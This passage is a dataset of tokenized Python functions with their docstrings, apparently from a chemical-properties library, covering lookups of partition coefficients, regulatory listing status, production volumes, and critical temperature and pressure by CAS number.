https://www.epa.gov/ozone-layer-protection/ozone-depleting-substances.\n    .. [2] WMO (World Meteorological Organization), 2011: Scientific Assessment\n       of Ozone Depletion: 2010. Global Ozone Research and Monitoring\n       Project-Report No. 52, Geneva, Switzerland, 516 p.\n       https://www.wmo.int/pages/prog/arep/gaw/ozone_2010/documents/Ozone-Assessment-2010-complete.pdf", "id": "f15794:m1"}
{"signature": "def logP(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in CRClogPDict.index:<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>if CASRN in SyrresDict2.index:<EOL><INDENT>methods.append(SYRRES)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == CRC:<EOL><INDENT>return float(CRClogPDict.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SYRRES:<EOL><INDENT>return float(SyrresDict2.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's octanol-water\n    partition coefficient. Lookup is based on CASRNs. Will automatically\n    select a data source to use if no Method is provided; returns None if the\n    data is not available.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    logP : float\n        Octanol-water partition coefficient, [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain logP with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'SYRRES', or 'CRC', \n        All valid values are also held in the list logP_methods.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the logP for the desired chemical, and will return methods\n        instead of the logP\n\n    Notes\n    -----\n    .. math::\n        \\log P_{ oct/wat} = \\log\\left(\\frac{\\left[{solute}\n        \\right]_{ octanol}^{un-ionized}}{\\left[{solute}\n        \\right]_{ water}^{ un-ionized}}\\right)\n\n    Examples\n    --------\n    >>> logP('67-56-1')\n    -0.74\n\n    References\n    ----------\n    .. [1] Syrres. 2006. KOWWIN Data, SrcKowData2.zip.\n       http://esc.syrres.com/interkow/Download/SrcKowData2.zip\n    .. [2] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.", "id": "f15794:m2"}
{"signature": "def legal_status(CASRN, Method=None, AvailableMethods=False, CASi=None):", "body": "load_law_data()<EOL>if not CASi:<EOL><INDENT>CASi = CAS2int(CASRN)<EOL><DEDENT>methods = [COMBINED, DSL, TSCA, EINECS, NLP, SPIN]<EOL>if AvailableMethods:<EOL><INDENT>return methods<EOL><DEDENT>if not Method:<EOL><INDENT>Method = methods[<NUM_LIT:0>]<EOL><DEDENT>if Method == DSL:<EOL><INDENT>if CASi in DSL_data.index:<EOL><INDENT>status = CAN_DSL_flags[DSL_data.at[CASi, '<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == TSCA:<EOL><INDENT>if CASi in TSCA_data.index:<EOL><INDENT>data = TSCA_data.loc[CASi].to_dict()<EOL>if any(data.values()):<EOL><INDENT>status = sorted([TSCA_flags[i] for i in data.keys() if data[i]])<EOL><DEDENT>else:<EOL><INDENT>status = LISTED<EOL><DEDENT><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == EINECS:<EOL><INDENT>if CASi in EINECS_data.index:<EOL><INDENT>status = LISTED<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == NLP:<EOL><INDENT>if CASi in NLP_data.index:<EOL><INDENT>status = LISTED<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == SPIN:<EOL><INDENT>if CASi in SPIN_data.index:<EOL><INDENT>status = LISTED<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == COMBINED:<EOL><INDENT>status = {}<EOL>for method in methods[<NUM_LIT:1>:]:<EOL><INDENT>status[method] = legal_status(CASRN, Method=method, CASi=CASi)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return status<EOL>", "docstring": "r'''Looks up the legal status of a chemical according to either a specifc\n    method or with all methods.\n\n    Returns either the status as a string for a specified method, or the\n    status of the chemical in all available data sources, in the format\n    {source: status}.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    status : str or dict\n        Legal status information [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain legal status with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        legal_status_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the legal status for the desired chemical, and will return methods\n        instead of the status\n    CASi : int, optional\n        CASRN as an integer, used internally [-]\n\n    Notes\n    -----\n\n    Supported methods are:\n\n        * **DSL**: Canada Domestic Substance List, [1]_. As extracted on Feb 11, 2015\n          from a html list. This list is updated continuously, so this version\n          will always be somewhat old. Strictly speaking, there are multiple\n          lists but they are all bundled together here. A chemical may be\n          'Listed', or be on the 'Non-Domestic Substances List (NDSL)',\n          or be on the list of substances with 'Significant New Activity (SNAc)',\n          or be on the DSL but with a 'Ministerial Condition pertaining to this\n          substance', or have been removed from the DSL, or have had a\n          Ministerial prohibition for the substance.\n        * **TSCA**: USA EPA Toxic Substances Control Act Chemical Inventory, [2]_.\n          This list is as extracted on 2016-01. It is believed this list is\n          updated on a periodic basis (> 6 month). A chemical may simply be\n          'Listed', or may have certain flags attached to it. All these flags\n          are described in the dict TSCA_flags.\n        * **EINECS**: European INventory of Existing Commercial chemical\n          Substances, [3]_. As extracted from a spreadsheet dynamically\n          generated at [1]_. This list was obtained March 2015; a more recent\n          revision already exists.\n        * **NLP**: No Longer Polymers, a list of chemicals with special\n          regulatory exemptions in EINECS. Also described at [3]_.\n        * **SPIN**: Substances Prepared in Nordic Countries. Also a boolean\n          data type. Retrieved 2015-03 from [4]_.\n\n    Other methods which could be added are:\n\n        * Australia: AICS Australian Inventory of Chemical Substances\n        * China: Inventory of Existing Chemical Substances Produced or Imported\n          in China (IECSC)\n        * Europe: REACH List of Registered Substances\n        * India: List of Hazardous Chemicals\n        * Japan: ENCS: Inventory of existing and new chemical substances\n        * Korea: Existing Chemicals Inventory (KECI)\n        * Mexico: INSQ National Inventory of Chemical Substances in Mexico\n        * New Zealand:  Inventory of Chemicals (NZIoC)\n        * Philippines: PICCS Philippines Inventory of Chemicals and Chemical\n          Substances\n\n    Examples\n    --------\n    >>> pprint(legal_status('64-17-5'))\n    {'DSL': 'LISTED',\n     'EINECS': 'LISTED',\n     'NLP': 'UNLISTED',\n     'SPIN': 'LISTED',\n     'TSCA': 'LISTED'}\n\n    References\n    ----------\n    .. [1] Government of Canada.. \"Substances Lists\" Feb 11, 2015.\n       https://www.ec.gc.ca/subsnouvelles-newsubs/default.asp?n=47F768FE-1.\n    .. [2] US EPA. \"TSCA Chemical Substance Inventory.\" Accessed April 2016.\n       https://www.epa.gov/tsca-inventory.\n    .. [3] ECHA. \"EC Inventory\". Accessed March 2015.\n       http://echa.europa.eu/information-on-chemicals/ec-inventory.\n    .. [4] SPIN. \"SPIN Substances in Products In Nordic Countries.\" Accessed\n       March 2015. http://195.215.202.233/DotNetNuke/default.aspx.", "id": "f15795:m1"}
{"signature": "def economic_status(CASRN, Method=None, AvailableMethods=False):  ", "body": "load_economic_data()<EOL>CASi = CAS2int(CASRN)<EOL>def list_methods():<EOL><INDENT>methods = []<EOL>methods.append('<STR_LIT>')<EOL>if CASRN in _EPACDRDict:<EOL><INDENT>methods.append(EPACDR)<EOL><DEDENT>if CASRN in _ECHATonnageDict:<EOL><INDENT>methods.append(ECHA)<EOL><DEDENT>if CASi in HPV_data.index:<EOL><INDENT>methods.append(OECD)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == EPACDR:<EOL><INDENT>status = '<STR_LIT>' + str(_EPACDRDict[CASRN])<EOL><DEDENT>elif Method == ECHA:<EOL><INDENT>status = _ECHATonnageDict[CASRN]<EOL><DEDENT>elif Method == OECD:<EOL><INDENT>status = '<STR_LIT>'<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>status = []<EOL>if CASRN in _EPACDRDict:<EOL><INDENT>status += ['<STR_LIT>' + str(_EPACDRDict[CASRN])]<EOL><DEDENT>if CASRN in _ECHATonnageDict:<EOL><INDENT>status += _ECHATonnageDict[CASRN]<EOL><DEDENT>if CASi in HPV_data.index:<EOL><INDENT>status += ['<STR_LIT>']<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>status = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return status<EOL>", "docstring": "Look up the economic status of a chemical.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> pprint(economic_status(CASRN='98-00-0'))\n    [\"US public: {'Manufactured': 0.0, 'Imported': 10272.711, 'Exported': 184.127}\",\n     u'10,000 - 100,000 tonnes per annum',\n     'OECD HPV Chemicals']\n\n    >>> economic_status(CASRN='13775-50-3')  # SODIUM SESQUISULPHATE\n    []\n    >>> economic_status(CASRN='98-00-0', Method='OECD high production volume chemicals')\n    'OECD HPV Chemicals'\n    >>> economic_status(CASRN='98-01-1', Method='European Chemicals Agency Total Tonnage Bands')\n    [u'10,000 - 100,000 tonnes per annum']", "id": "f15795:m3"}
{"signature": "def Tc(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[SURF]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _crit_IUPAC.index and not np.isnan(_crit_IUPAC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IUPAC)<EOL><DEDENT>if CASRN in _crit_Matthews.index and not np.isnan(_crit_Matthews.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(MATTHEWS)<EOL><DEDENT>if CASRN in _crit_CRC.index and not np.isnan(_crit_CRC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>if CASRN in _crit_PSRKR4.index and not np.isnan(_crit_PSRKR4.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PSRK)<EOL><DEDENT>if CASRN in _crit_PassutDanner.index and not np.isnan(_crit_PassutDanner.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PD)<EOL><DEDENT>if CASRN in _crit_Yaws.index and not np.isnan(_crit_Yaws.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(YAWS)<EOL><DEDENT>if CASRN:<EOL><INDENT>methods.append(SURF)<EOL><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IUPAC:<EOL><INDENT>_Tc = float(_crit_IUPAC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == MATTHEWS:<EOL><INDENT>_Tc = float(_crit_Matthews.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PSRK:<EOL><INDENT>_Tc = float(_crit_PSRKR4.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PD:<EOL><INDENT>_Tc = float(_crit_PassutDanner.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC:<EOL><INDENT>_Tc = float(_crit_CRC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == YAWS:<EOL><INDENT>_Tc = float(_crit_Yaws.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SURF:<EOL><INDENT>_Tc = third_property(CASRN=CASRN, T=True)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>_Tc = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Tc<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's critical\n    temperature. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'IUPAC' for organic chemicals, and 'MATTHEWS' for \n    inorganic chemicals. Function has data for approximately 1000 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tc : float\n        Critical temperature, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tc with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'IUPAC', 'MATTHEWS', \n        'CRC', 'PSRK', 'PD', 'YAWS', and 'SURF'. All valid values are also held  \n        in the list `Tc_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Tc for the desired chemical, and will return methods instead of Tc\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of seven sources are available for this function. They are:\n\n        * 'IUPAC Organic Critical Properties', a series of critically evaluated\n          experimental datum for organic compounds in [1]_, [2]_, [3]_, [4]_,\n          [5]_, [6]_, [7]_, [8]_, [9]_, [10]_, [11]_, and [12]_.\n        * 'Matthews Inorganic Critical Properties', a series of critically\n          evaluated data for inorganic compounds in [13]_.\n        * 'CRC Organic Critical Properties', a compillation of critically\n          evaluated data by the TRC as published in [14]_.\n        * 'PSRK Revision 4 Appendix', a compillation of experimental and\n          estimated data published in [15]_.\n        * 'Passut Danner 1973 Critical Properties', an older compillation of\n          data published in [16]_\n        * 'Yaws Critical Properties', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [17]_.\n        * Critical Surface', an estimation method using a\n          simple quadratic method for estimating Tc from Pc and Vc. This is\n          ignored and not returned as a method by default, as no compounds\n          have values of Pc and Vc but not Tc currently.\n\n    Examples\n    --------\n    >>> Tc(CASRN='64-17-5')\n    514.0\n\n    References\n    ----------\n    .. [1] Ambrose, Douglas, and Colin L. Young. \"Vapor-Liquid Critical\n       Properties of Elements and Compounds. 1. An Introductory Survey.\"\n       Journal of Chemical & Engineering Data 41, no. 1 (January 1, 1996):\n       154-154. doi:10.1021/je950378q.\n    .. [2] Ambrose, Douglas, and Constantine Tsonopoulos. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 2. Normal Alkanes.\"\n       Journal of Chemical & Engineering Data 40, no. 3 (May 1, 1995): 531-46.\n       doi:10.1021/je00019a001.\n    .. [3] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 3. Aromatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 40, no. 3\n       (May 1, 1995): 547-58. doi:10.1021/je00019a002.\n    .. [4] Gude, Michael, and Amyn S. Teja. \"Vapor-Liquid Critical Properties\n       of Elements and Compounds. 4. Aliphatic Alkanols.\" Journal of Chemical\n       & Engineering Data 40, no. 5 (September 1, 1995): 1025-36.\n       doi:10.1021/je00021a001.\n    .. [5] Daubert, Thomas E. \"Vapor-Liquid Critical Properties of Elements\n       and Compounds. 5. Branched Alkanes and Cycloalkanes.\" Journal of\n       Chemical & Engineering Data 41, no. 3 (January 1, 1996): 365-72.\n       doi:10.1021/je9501548.\n    .. [6] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 6. Unsaturated Aliphatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 41, no. 4\n       (January 1, 1996): 645-56. doi:10.1021/je9501999.\n    .. [7] Kudchadker, Arvind P., Douglas Ambrose, and Constantine Tsonopoulos.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 7. Oxygen\n       Compounds Other Than Alkanols and Cycloalkanols.\" Journal of Chemical &\n       Engineering Data 46, no. 3 (May 1, 2001): 457-79. doi:10.1021/je0001680.\n    .. [8] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 8. Organic Sulfur,\n       Silicon, and Tin Compounds (C + H + S, Si, and Sn).\" Journal of Chemical\n       & Engineering Data 46, no. 3 (May 1, 2001): 480-85.\n       doi:10.1021/je000210r.\n    .. [9] Marsh, Kenneth N., Colin L. Young, David W. Morton, Douglas Ambrose,\n       and Constantine Tsonopoulos. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 9. Organic Compounds Containing Nitrogen.\"\n       Journal of Chemical & Engineering Data 51, no. 2 (March 1, 2006):\n       305-14. doi:10.1021/je050221q.\n    .. [10] Marsh, Kenneth N., Alan Abramson, Douglas Ambrose, David W. Morton,\n       Eugene Nikitin, Constantine Tsonopoulos, and Colin L. Young.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 10. Organic\n       Compounds Containing Halogens.\" Journal of Chemical & Engineering Data\n       52, no. 5 (September 1, 2007): 1509-38. doi:10.1021/je700336g.\n    .. [11] Ambrose, Douglas, Constantine Tsonopoulos, and Eugene D. Nikitin.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 11. Organic\n       Compounds Containing B + O; Halogens + N, + O, + O + S, + S, + Si;\n       N + O; and O + S, + Si.\" Journal of Chemical & Engineering Data 54,\n       no. 3 (March 12, 2009): 669-89. doi:10.1021/je800580z.\n    .. [12] Ambrose, Douglas, Constantine Tsonopoulos, Eugene D. Nikitin, David\n       W. Morton, and Kenneth N. Marsh. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 12. Review of Recent Data for Hydrocarbons and\n       Non-Hydrocarbons.\" Journal of Chemical & Engineering Data, October 5,\n       2015, 151005081500002. doi:10.1021/acs.jced.5b00571.\n    .. [13] Mathews, Joseph F. \"Critical Constants of Inorganic Substances.\"\n       Chemical Reviews 72, no. 1 (February 1, 1972): 71-100.\n       doi:10.1021/cr60275a004.\n    .. [14] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.\n    .. [15] Horstmann, Sven, Anna Jab\u0142oniec, J\u00f6rg Krafczyk, Kai Fischer, and\n       J\u00fcrgen Gmehling. \"PSRK Group Contribution Equation of State:\n       Comprehensive Revision and Extension IV, Including Critical Constants\n       and \u0391-Function Parameters for 1000 Components.\" Fluid Phase Equilibria\n       227, no. 2 (January 25, 2005): 157-64. doi:10.1016/j.fluid.2004.11.002.\n    .. [16] Passut, Charles A., and Ronald P. Danner. \"Acentric Factor. A\n       Valuable Correlating Parameter for the Properties of Hydrocarbons.\"\n       Industrial & Engineering Chemistry Process Design and Development 12,\n       no. 3 (July 1, 1973): 365\u201368. doi:10.1021/i260047a026.\n    .. [17] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15798:m0"}
{"signature": "def Pc(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[SURF]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _crit_IUPAC.index and not np.isnan(_crit_IUPAC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IUPAC)<EOL><DEDENT>if CASRN in _crit_Matthews.index and not np.isnan(_crit_Matthews.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(MATTHEWS)<EOL><DEDENT>if CASRN in _crit_CRC.index and not np.isnan(_crit_CRC.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>if CASRN in _crit_PSRKR4.index and not np.isnan(_crit_PSRKR4.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PSRK)<EOL><DEDENT>if CASRN in _crit_PassutDanner.index and not np.isnan(_crit_PassutDanner.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(PD)<EOL><DEDENT>if CASRN in _crit_Yaws.index and not np.isnan(_crit_Yaws.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(YAWS)<EOL><DEDENT>if CASRN:<EOL><INDENT>methods.append(SURF)<EOL><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IUPAC:<EOL><INDENT>_Pc = float(_crit_IUPAC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == MATTHEWS:<EOL><INDENT>_Pc = float(_crit_Matthews.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC:<EOL><INDENT>_Pc = float(_crit_CRC.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PSRK:<EOL><INDENT>_Pc = float(_crit_PSRKR4.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PD:<EOL><INDENT>_Pc = float(_crit_PassutDanner.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == YAWS:<EOL><INDENT>_Pc = float(_crit_Yaws.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SURF:<EOL><INDENT>_Pc = third_property(CASRN=CASRN, P=True)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Pc<EOL>", "docstring": "r'''This function handles the retrieval of a chemical's critical\n    pressure. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'IUPAC' for organic chemicals, and 'MATTHEWS' for \n    inorganic chemicals. Function has data for approximately 1000 chemicals.\n\n    Examples\n    --------\n    >>> Pc(CASRN='64-17-5')\n    6137000.0\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Pc : float\n        Critical pressure, [Pa]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Pc with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'IUPAC', 'MATTHEWS', \n        'CRC', 'PSRK', 'PD', 'YAWS', and 'SURF'. All valid values are also held  \n        in the list `Pc_methods`.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Pc for the desired chemical, and will return methods instead of Pc\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of seven sources are available for this function. They are:\n\n        * 'IUPAC', a series of critically evaluated\n          experimental datum for organic compounds in [1]_, [2]_, [3]_, [4]_,\n          [5]_, [6]_, [7]_, [8]_, [9]_, [10]_, [11]_, and [12]_.\n        * 'MATTHEWS', a series of critically\n          evaluated data for inorganic compounds in [13]_.\n        * 'CRC', a compillation of critically\n          evaluated data by the TRC as published in [14]_.\n        * 'PSRK', a compillation of experimental and\n          estimated data published in [15]_.\n        * 'PD', an older compillation of\n          data published in [16]_\n        * 'YAWS', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [17]_.\n        * SURF', an estimation method using a\n          simple quadratic method for estimating Pc from Tc and Vc. This is\n          ignored and not returned as a method by default.\n\n    References\n    ----------\n    .. [1] Ambrose, Douglas, and Colin L. Young. \"Vapor-Liquid Critical\n       Properties of Elements and Compounds. 1. An Introductory Survey.\"\n       Journal of Chemical & Engineering Data 41, no. 1 (January 1, 1996):\n       154-154. doi:10.1021/je950378q.\n    .. [2] Ambrose, Douglas, and Constantine Tsonopoulos. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 2. Normal Alkanes.\"\n       Journal of Chemical & Engineering Data 40, no. 3 (May 1, 1995): 531-46.\n       doi:10.1021/je00019a001.\n    .. [3] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 3. Aromatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 40, no. 3\n       (May 1, 1995): 547-58. doi:10.1021/je00019a002.\n    .. [4] Gude, Michael, and Amyn S. Teja. \"Vapor-Liquid Critical Properties\n       of Elements and Compounds. 4. Aliphatic Alkanols.\" Journal of Chemical\n       & Engineering Data 40, no. 5 (September 1, 1995): 1025-36.\n       doi:10.1021/je00021a001.\n    .. [5] Daubert, Thomas E. \"Vapor-Liquid Critical Properties of Elements\n       and Compounds. 5. Branched Alkanes and Cycloalkanes.\" Journal of\n       Chemical & Engineering Data 41, no. 3 (January 1, 1996): 365-72.\n       doi:10.1021/je9501548.\n    .. [6] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 6. Unsaturated Aliphatic\n       Hydrocarbons.\" Journal of Chemical & Engineering Data 41, no. 4\n       (January 1, 1996): 645-56. doi:10.1021/je9501999.\n    .. [7] Kudchadker, Arvind P., Douglas Ambrose, and Constantine Tsonopoulos.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 7. Oxygen\n       Compounds Other Than Alkanols and Cycloalkanols.\" Journal of Chemical &\n       Engineering Data 46, no. 3 (May 1, 2001): 457-79. doi:10.1021/je0001680.\n    .. [8] Tsonopoulos, Constantine, and Douglas Ambrose. \"Vapor-Liquid\n       Critical Properties of Elements and Compounds. 8. Organic Sulfur,\n       Silicon, and Tin Compounds (C + H + S, Si, and Sn).\" Journal of Chemical\n       & Engineering Data 46, no. 3 (May 1, 2001): 480-85.\n       doi:10.1021/je000210r.\n    .. [9] Marsh, Kenneth N., Colin L. Young, David W. Morton, Douglas Ambrose,\n       and Constantine Tsonopoulos. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 9. Organic Compounds Containing Nitrogen.\"\n       Journal of Chemical & Engineering Data 51, no. 2 (March 1, 2006):\n       305-14. doi:10.1021/je050221q.\n    .. [10] Marsh, Kenneth N., Alan Abramson, Douglas Ambrose, David W. Morton,\n       Eugene Nikitin, Constantine Tsonopoulos, and Colin L. Young.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 10. Organic\n       Compounds Containing Halogens.\" Journal of Chemical & Engineering Data\n       52, no. 5 (September 1, 2007): 1509-38. doi:10.1021/je700336g.\n    .. [11] Ambrose, Douglas, Constantine Tsonopoulos, and Eugene D. Nikitin.\n       \"Vapor-Liquid Critical Properties of Elements and Compounds. 11. Organic\n       Compounds Containing B + O; Halogens + N, + O, + O + S, + S, + Si;\n       N + O; and O + S, + Si.\" Journal of Chemical & Engineering Data 54,\n       no. 3 (March 12, 2009): 669-89. doi:10.1021/je800580z.\n    .. [12] Ambrose, Douglas, Constantine Tsonopoulos, Eugene D. Nikitin, David\n       W. Morton, and Kenneth N. Marsh. \"Vapor-Liquid Critical Properties of\n       Elements and Compounds. 12. Review of Recent Data for Hydrocarbons and\n       Non-Hydrocarbons.\" Journal of Chemical & Engineering Data, October 5,\n       2015, 151005081500002. doi:10.1021/acs.jced.5b00571.\n    .. [13] Mathews, Joseph F. \"Critical Constants of Inorganic Substances.\"\n       Chemical Reviews 72, no. 1 (February 1, 1972): 71-100.\n       doi:10.1021/cr60275a004.\n    .. [14] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.\n    .. [15] Horstmann, Sven, Anna Jab\u0142oniec, J\u00f6rg Krafczyk, Kai Fischer, and\n       J\u00fcrgen Gmehling. \"PSRK Group Contribution Equation of State:\n       Comprehensive Revision and Extension IV, Including Critical Constants\n       and \u0391-Function Parameters for 1000 Components.\" Fluid Phase Equilibria\n       227, no. 2 (January 25, 2005): 157-64. doi:10.1016/j.fluid.2004.11.002.\n    .. [16] Passut, Charles A., and Ronald P. Danner. \"Acentric Factor. A\n       Valuable Correlating Parameter for the Properties of Hydrocarbons.\"\n       Industrial & Engineering Chemistry Process Design and Development 12,\n       no. 3 (July 1, 1973): 365\u201368. doi:10.1021/i260047a026.\n    .. [17] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15798:m1"}
